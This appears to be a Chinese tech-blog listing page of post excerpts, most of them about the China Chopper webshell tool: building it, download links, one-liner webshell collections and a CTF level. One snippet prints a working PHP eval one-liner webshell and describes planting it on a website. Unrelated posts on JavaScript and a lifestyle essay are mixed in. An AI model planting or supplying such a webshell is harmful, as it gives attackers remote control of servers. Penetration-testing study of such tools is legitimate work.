[对抗训练]“中国菜刀”安装与使用一、下载开源代码从GitHub上下载开源的“中国菜刀”Java项目代码地址：https://github.com/Chora10/Cknife压缩文件见附件1。二、将项目存为可执行jar打开eclipse（或其他java编辑器）添加解压后的“中国菜刀”项目选择所解压... ...
分类：
其他好文 时间：
2018-05-27 01:00:41
阅读次数：
719
中国菜刀下载,基于原版中国菜刀优化版20160309. 下载地址: http://pan.baidu.com/s/1jHoJxHW China chopper http://pan.baidu.com/s/1eRxEYjC 下面是收集并整理的各种一句话,带使用方法： 1.php 用法: http:/ ...
分类：
Web程序 时间：
2018-05-06 13:33:26
阅读次数：
288
作家李尚龙说：“在大城市里，搞废一个人的方式特别简单。给你一个安静狭小的空间，给你一根网线，最好再加一个外卖电话。好了，你开始废了。” 之前的我并不相信人会这么轻易地堕落，直到身边出现了一个真实的例子。 前段时间的同学聚会上，见到了许久没见的W君。 学生时代清瘦的少年模样，如今竟发福得如同中年大叔。 ...
分类：
其他好文 时间：
2018-04-28 10:50:11
阅读次数：
178
sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/126855490_472906 xss靶机的攻击过程请参考 https://pentesterlab. ...
分类：
Web程序 时间：
2018-04-22 21:49:38
阅读次数：
2555
1.利用call和apply，借助构造函数 解释一下，P.call(this)的意思，就是将P的上下文指向C的上下文。 那么，什么是上下文呢，比如说，我有一把菜刀，可以用来杀猪，那么这里我就是菜刀的上下文。你没有，但是有一天你也要去杀猪，怎么办，最简单的方式就是向我借，而不是自己去买，向我借就是说菜 ...
分类：
Web程序 时间：
2018-03-13 18:16:19
阅读次数：
185
中国菜刀与一句话木马 PHP的一句话木马内容如下： <?php @eval($_POST['chopper']);?> 将这个木马放到“网站”中，打开中国菜刀，在空白处点击鼠标右键，选择“添加”选项。编辑相关参数，包括一句话木马所在的URL及密码，最后点击“编辑”。在URL列表中选中目标网站，点击鼠 ...
分类：
其他好文 时间：
2018-02-23 23:50:12
阅读次数：
376
前两天小组的一个刚毕业的运营小姑娘转正答辩，发现她正在做验证菜刀链接是否有效的人工验证工作，可是这个过程做的是个纯人工的，且不说干的枯燥无味，就是从成本上对于团队，对于公司都是损失的。。想想一个IT公司，一个做技术的团队，为什么不弄个自动化的工具做这个工作呢。虽然我们不是黑客牛人出身，但是可以私下巧 ...
分类：
其他好文 时间：
2018-02-13 12:22:54
阅读次数：
211
本系列目录： "Abp介绍和经验分享 目录" 今天介绍下，如何使用T4根据json文件自动生成权限定义。 先看成果 成果是： 1. 要新增一个权限定义时，打开Json文件，找到目标节点，加个权限定义； 1. 生成下Core程序集（因为Json文件都是嵌入式资源文件）； 1. 跑一遍T4，ok，新增的 ...
分类：
其他好文 时间：
2017-11-21 23:56:41
阅读次数：
227
PHP菜刀工具WebHandler 在Web渗透测试中，后台代码如果包含系统命令执行功能，并以用户提交的数据作为参数，就带来潜在的安全隐患。Kali Linux提供一款PHP菜单工具WebHandler。该工具针对PHP Web应用，可以利用PHP自带的system、passthru、exec函数功 ...
分类：
Web程序 时间：
2017-11-16 11:44:37
阅读次数：
169
第十二关:我系统密码忘记了！ 文件上传 直接上传php一句话， 菜刀链接 ...
分类：
Web程序 时间：
2017-10-01 16:53:11
阅读次数：
195
